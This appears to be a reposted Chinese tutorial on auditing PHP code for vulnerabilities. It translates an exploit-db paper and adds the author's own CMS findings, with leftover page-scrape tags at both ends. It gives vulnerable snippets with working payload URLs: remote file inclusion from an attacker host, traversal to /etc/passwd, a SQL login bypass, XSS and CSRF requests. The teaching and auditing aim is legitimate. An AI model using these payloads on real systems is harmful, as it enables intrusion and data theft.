<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/858

            0x00 背景


            感謝各位的評論與討論,經過研討的地方在文章中標出。

            先翻譯整理一篇英文paper,后面再填上自己新發現的例子,先思路再實例 O(∩_∩)O

            補充之前第一篇文章中思路,重新加入了最近發現的一些實例(也有部分來自wooyun上的牛人們已公開的漏洞,漏洞歸屬原作者并均在文章內標明)

            (感謝瞌睡龍指導:注意各種漏洞的前提配置環境,先列出來,之后詳細說)

            在文章中的測試條件下,我們的配置默認是這樣子的

            safe_mode = off (避免各種奇奇怪怪的失敗)
            disabled_functions = N/A ( 可以使用全部函數,免得莫名其妙的不能用 )
            register_globals = on ( 注冊全局變量 )
            allow_url_include = on ( 文件包含時的限制,如果關了就不能遠程 )
            allow_url_fopen = on ( 文件打開的限制,還是開著吧 )
            magic_quotes_gpc = off ( 轉義引號和劃線和空字符,比如” 變成\“ )
            short_tag_open = on ( 部分腳本會用到 ) 
            file_uploads = on ( 任意文件上傳需要……允許上傳文件 )
            display_errors = on ( 自己測試時方便,找錯誤 )
            

            0x01 任意文件包含


            前提:允許url_include,否則就需要上傳到絕對路徑

            提示:可以使用空字節(截斷)的技巧,和“?”問號的使用技巧

            php中有四個函數與文件包含有關:

            require
            require_once 只包含一次
            include 
            include_once 只包含一次
            

            如以下例子:

            #!php
            <?php
                $pagina=$_GET['pagina'];
                include $pagina.'logged=1';
            ?>
            

            使用空字節的例子

            http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt%00
            

            這樣可以去掉末尾的.php后綴

            再如以下例子

            #!php
            <?php
                $pagina=$_GET['pagina'];
                include $pagina.'logged=1';
            ?>
            

            使用“?”問號的例子

            http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt?logged=1
            

            這樣可以把后面的一大坨東西弄沒

            如何修復:

            allow_url_include = on
            allow_url_fopen = on
            

            簡單來說:不要允許特殊字符出現,過濾“/”,或者過濾http,https,ftp和SMB

            好吧,來舉一個烏云上Frears的例子

            WooYun: ecmall本地文件包含

            #!php
            //只判斷是app是否設置,然后去掉了兩端空格?
            $app = isset($_REQUEST['app']) ? trim($_REQUEST['app']) : $default_app;?
            $act = isset($_REQUEST['act']) ? trim($_REQUEST['act']) : $default_act;?
            
            //很明顯可以看出$app是我們可以控制的、由于后面連接了.app.php所以利用的時候要截斷。?
            $app_file = $config['app_root'] . "/{$app}.app.php";?    
            
            //應為是本地包函、所以is_file是為真的?
            if (!is_file($app_file))?    
            {?    
                exit('Missing controller');?    
            }?    
            
            //這里直接就包函了,這么低級的漏洞、我都不好說什么了.?
            require($app_file);
            

            還有一些特殊的思路,比如Joker的構造

            WooYun: 濟南大學主站本地文件包含導致代碼執行

            自己去看吧,我還以為只有教科書里邊才可能出現……

            挖掘的可能方法:全局搜索四個函數,先只管出現在文件中間的require等前后文是否有嚴格的驗證,之后在通讀時注意文件前部的include

            0x02 本地文件包含


            提示:在windows系統下面我們可以用 "..\" 來代替 "../" 即 "..%5C" ( url編碼后 ).

            如下例:

            #!php
            <?php
                $pagina=$_GET['pagina'];
                include '/pages/'.$pagina;
            ?>
            

            利用的例子:

            http://127.0.0.1/test.php?pagina=../../../../../../etc/passwd
            

            空字節截斷和問號的技巧通用

            其實和上面的差不多,只不過是用到了跨目錄

            修復方式:過濾點和斜杠

            0x03 任意文件下載


            前提:url_fopen為on時才能打開遠程文件,但一般意義上的任意文件下載不是“遠程“的

            相比上一篇文章補充:

               file_get_contents  讀取整個文件到字符串中
               readfile           顯示整個文件
               file               讀進數組
               fopen              打開文件或URL
               highlight_file     高亮顯示源碼
               show_source        顯示源代碼
            

            例子同上一篇文章

            0x04 SQL注入


            前提:magic_quotes_gpc = off 當然指的是字符型的注射,如果是數字型就仍然可以盲注

            補充登陸繞過的情況:

            #!php
            $postbruger = $_POST['username'];
            $postpass = md5($_POST['password']); 
            $resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = '$postbruger' AND password = '$postpass'") 
            or die("<p>" . mysql_error() . "</p>\n");
            

            這時利用時會方便很多

            username : admin ' or ' 1=1
            password : sirgod
            

            挖掘方法:在登陸邏輯處發現注射,不急著跑表,可以考慮繞過登陸

            0x05 命令執行


            參考《高級PHP應用程序漏洞審核技術》(Ph4nt0m Security Team),小伙伴們都去百度一下吧

            (以下節選一小部分有關命令執行的內容)

            5.4 代碼注射

            5.4.1 PHP中可能導致代碼注射的函數

            很多人都知道eval、preg_replace+/e可以執行代碼,但是不知道php還有很多的函數可 以執行代碼如:

            assert()
            call_user_func()
            call_user_func_array()
            create_function()
            

            變量函數

            這里我們看看最近出現的幾個關于create_function()代碼執行漏洞的代碼:

            #!php
            <?php
            //how to exp this code
            $sort_by=$_GET["sort_by"];
            $sorter="strnatcasecmp";
            $databases=array("test","test");
            $sort_function = " return 1 * " . $sorter . "($a["" . $sort_by . ""], $b["" . $sort_by . ""]);
            ";
            usort($databases, create_function("$a, $b", $sort_function));
            

            漏洞審計策略

            PHP版本要求:無 系統要求:無 審計策略:查找對應函數(assert,call_user_func,call_user_func_array,create_function等)

            5.4.2 變量函數與雙引號

            對于單引號和雙引號的區別,很多程序員深有體會,示例代碼:

            #!php
            echo "$a\n";
            echo "$a\n";
            

            我們再看如下代碼:

            #!php
            //how to exp this code
            if($globals["bbc_email"]){
            $text = preg_replace(
            array("/\[email=(.*?)\](.*?)\[\/email\]/ies",
            "/\[email\](.*?)\[\/email\]/ies"),
            array("check_email("$1", "$2")",
            "check_email("$1", "$1")"), $text);
            

            另外很多的應用程序都把變量用""存放在緩存文件或者config或者data文件里,這樣很 容易被人注射變量函數。

            漏洞審計策略

            PHP版本要求:無 系統要求:無 審計策略:通讀代碼

            0x06 跨站腳本漏洞XSS


            #!php
            <?php
                $name=$_GET['name'];
                print $name;
            ?>
            
            
            
            
            
            http://127.0.0.1/test.php?name=<script>alert("XSS")</script>
            
            
            
            
            
            #!php
            <?php
                $name=addslashes($_GET['name']);
                print '<table name="'.$name.'"></table>';
            ?>
            
            
            
            
            
            http://127.0.0.1/test.php?name="><script>alert(String.fromCharCode(88,83,83))</script>
            

            fromCharCode用來繞過addslashes

            挖掘方法:關注負責輸出的代碼,牢記之前程序處理變量的一般邏輯(過濾html標簽的力度?)

            0x07 變量覆蓋


            前提:需要register_gloabals = on

            #!php
            <?php
                if ($logged==true) {
                echo 'Logged in.'; }
                else {
                print 'Not logged in.';
                }
            ?>
            
            
            
            
            
            http://127.0.0.1/test.php?logged=1
            

            免認證即登陸

            0x08 admin節點可被越權訪問


            http://127.0.0.1/admin/files.php
            http://127.0.0.1/admin/db_lookup.php
            

            若是無身份驗證直接就能訪問,可能存在此漏洞

            挖掘方法:先開register_gloabals = on ,然后留意第一次出現的變量

            0x09 跨站點請求偽造CSRF


            前提:沒有token 一般結合XSS來做

            #!php
            <?php
                check_auth();
                if(isset($_GET['news']))
                { unlink('files/news'.$news.'.txt'); }
                else { 
                die('File not deleted'); }
            ?>
            
            
            
            
            
            http://127.0.0.1/test.php?news=1
            

            會導致文件刪除,當然,需要過check_auth,不過在CSRF下不是問題

            #!php
            if ($_GET['func'] == 'delete') {
                       $del_id = $_GET['id'];
                       $query2121 = "select ROLE from {$db_prefix}members WHERE ID='$del_id'";
                       $result2121 = mysql_query($query2121) or die("delete.php - Error in query: $query2121");
                       while ($results2121 = mysql_fetch_array($result2121)) {
                       $their_role = $results2121['ROLE'];
            }
            if ($their_role != '1') {
            mysql_query("DELETE FROM {$db_prefix}members WHERE id='$del_id'") 
            or die(mysql_error()); 
            

            關鍵是在于操作沒有任何類型的確認,只要提交請求即可見效

            http://127.0.0.1/index.php?page=admin&act=members&func=delete&id=4
            

            如何修補:token

            #!php
            <?php
                check_auth();
                if(isset($_GET['news']) && $token=$_SESSION['token'])
                { unlink('files/news'.$news.'.txt'); }
                else { 
                die('Error.'); }
            ?>
            

            這樣就不能偽造啦

            http://127.0.0.1/index.php?delete=1&token=[RANDOM_TOKEN]
            

            挖掘方法:敏感功能如 “添加管理員” “修改密碼” “直接把shell地址給到別人郵箱里”觀察是否有token驗證或者其他形式的驗證

            0x10 參考文獻


            部分內容參考自【英文】 http://www.exploit-db.com/papers/12871/ Name : Finding vulnerabilities in PHP scripts FULL ( with examples ) Author : SirGod Email : [email protected]

            [email protected] 引用處進行了翻譯

            以下是最新自己發現的例子

            0x11 CSCMS V3.5 最新版 SQL注射(官方站演示+源碼詳析)


            WooYun: CSCMS V3.5 最新版 SQL注射(官方站演示+源碼詳析)

            PS:CSCMS真是好教材……

            感謝 @五道口殺氣 在上一篇的回復:

            MVC的代碼看一下框架本身實現有沒有問題,然后去看model就行了,model有多強,決定了有多大的空間,而變量的過濾在controller里調用時應該幾乎是差不多的,所以這類代碼從index.php開始讀可能也不是太有必要
            

            經過仔細的琢磨,我有了更深的體會,比如本次漏洞中,CSCMS重構了代碼,使用了MVC架構,果然是model的xss_clean被誤用(或者說model根本沒有防范注射的功能),導致controller里面射成一片,因此可以說我之前的“從index.php開始“很不恰當,應當視情況而定

            感謝 @erevus 在上一篇的回復:

            我說說的我經驗?    挖SQL注入,全局搜索select,insert,updata這幾個關鍵字 然后找到SQL語句 向上跟 跟到傳入變量的地方 看看中途有沒有過濾?    挖任意代碼執行,全局搜索各種可以執行命令的函數,然后也是一個個看 向上跟.(一直沒挖到...)?    挖XSS...直接黑盒挖,看看有沒有過濾 過濾了的話就去看過濾的代碼是怎樣 然后看看能不能繞...感覺如果是框架的話,只搜索SELECT關鍵字可能會有遺漏,因為有很多都是比如:
            
            $member->where ( "username ='" . $username . "'" )->save ( $arr_i ); // 更新狀態
            

            這樣的框架很容易遺漏重要拼接

            PS:強烈同意erevus的XSS的挖掘方法,因為能力和精力都很有限……

            0x12 MacCMS 全版本通殺SQL注射(包括最新7.x)


            WooYun: MacCMS 全版本通殺SQL注射(包括最新7.x)

            也是重構了代碼,加入了360的防護腳本,其實在我發上一個漏洞(6.x)時這個7.x剛好發布,我稍微看了一眼,發現有360防護腳本后就不看了,以為他們肯定全都過濾掉了,直到…… 比較有趣的是他們根本沒有在referer上使用360的獲取方式,而是直接return $_SERVER["HTTP_REFERER"]; 了 因此提醒大家,代碼審計就是要仔細,就是要有超人般的耐心,不要想當然。

            0x13 WanCMS 可修改任意用戶密碼(源碼詳析+實例演示)


            WooYun: WanCMS 可修改任意用戶密碼(源碼詳析+實例演示)

            我終于又發現了一個敏感業務邏輯上的漏洞

            嘮叨兩句密碼學……

            MD5、SHA 是哈希函數,知道$a后容易知道md5($a),而知道md5($a)難以恢復$a Des 是對稱密碼,加解密使用同一個密鑰

            #!php
            $reurl = $config ['DOMAIN'] . '/accounts/forget_password_t?vc=' . md5 ( md5 ( $username ) );
            

            這里的密碼重置鏈接 使用的是MD5(兩遍),但是用戶名我們是知道的,因此直接就能偽造,這也說明了md5并不是用來加密的,應該用DES或者……更常見的方法是MD5中的用戶名再加入密碼和隨機數,或者干脆隨機一串字符好了。

            0x14 WanCMS 多處SQL注射(源碼詳析+實站演示)


            WooYun: WanCMS 多處SQL注射(源碼詳析+實站演示)

            又是一個框架中注射的例子

            #!php
            $u_info = $member->where ( "username ='" . $username . "'" )->find ();
            

            之前username沒有過濾,雖然看著和帶著SELECT的完整SQL語句有區別,但是效果是一樣的

            0x15 CSCMS V3.5 最新補丁后 又一個SQL注射(源碼詳析)


            WooYun: CSCMS V3.5 最新補丁后 又一個SQL注射(源碼詳析)

            這個就是一個廠商漏補的addslash+無引號 盲注 但是比較有新意的是,他們好像有一陣是用的magic_quotes_gpc來處理的,只是給數字補上了好多的引號,而且還漏了幾個……

            0x16 TCCMS (最新)8.0 后臺GETSHELL (源碼詳析)

            WooYun: TCCMS (最新)8.0 后臺GETSHELL (源碼詳析)

            任意文件上傳,前提是upload為ON

            #!php
            $fullPath = $path . "/" . $_POST["name"];
            

            居然直接從POST里面取。

            一般情況下應該是uuid隨機數名稱,或者至少去不可見字符強加后綴。

            直接從POST中取值的下場就是任意文件上傳。

            0x17 iSiteCMS發布安全補丁后仍然有幾處注射漏洞(源碼詳析+實站演示)


            WooYun: iSiteCMS發布安全補丁后仍然有幾處注射漏洞(源碼詳析+實站演示)

            這個注射有一個特別之處,就是過濾了逗號(,),因此跑表時非常不順利,需要想其他的方法來驗證危害

            #!php
            $tos = explode(',',trim($arr['to'])); 
            

            沒錯,這一句干掉了逗號

            解決方案:不跑表了,試著構造錯誤回顯(因為常規那頁面是沒有回顯的)直接爆管理員密碼

            思路總結:變量到達第一個注射語句沒有逗號無法突破無法回顯,堅持繼續讀,程序能繼續運行,然后發現下面還有一句也會被注射到,然后注射到的結果又拼接到另一個SQL語句中,而報錯又是開啟狀態,因此構造一下在SQL報錯的地方回顯出密碼

            0x18 CSCMS V3.5 最新版 后臺命令執行GETSHELL(源碼詳析)


            WooYun: CSCMS V3.5 最新版 后臺命令執行GETSHELL(源碼詳析)

            [email protected]: 框架會有很多很隱蔽的洞,現在還不太清楚怎么具體挖掘。比如雙引號導致的代碼執行。

            千奇百怪的洞 的確很頭疼 我這個漏洞本是想仿造《Dede后臺getshell[過20130715]》原作者不詳 結果……不大一樣 不過思路是:后臺總會有保存設置的地方,而保存設置的地方往往是寫config.php保存設置(因為php擴展名可以防止被隨意下載ETC)而這樣的話如果保存設置時過濾不足,就有可能導致任意文件寫入,而且又是php文件,動不動就會來個代碼執行 :)

            不過感覺隱蔽的漏洞還是很費腦力的,一般的思考發現不了

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线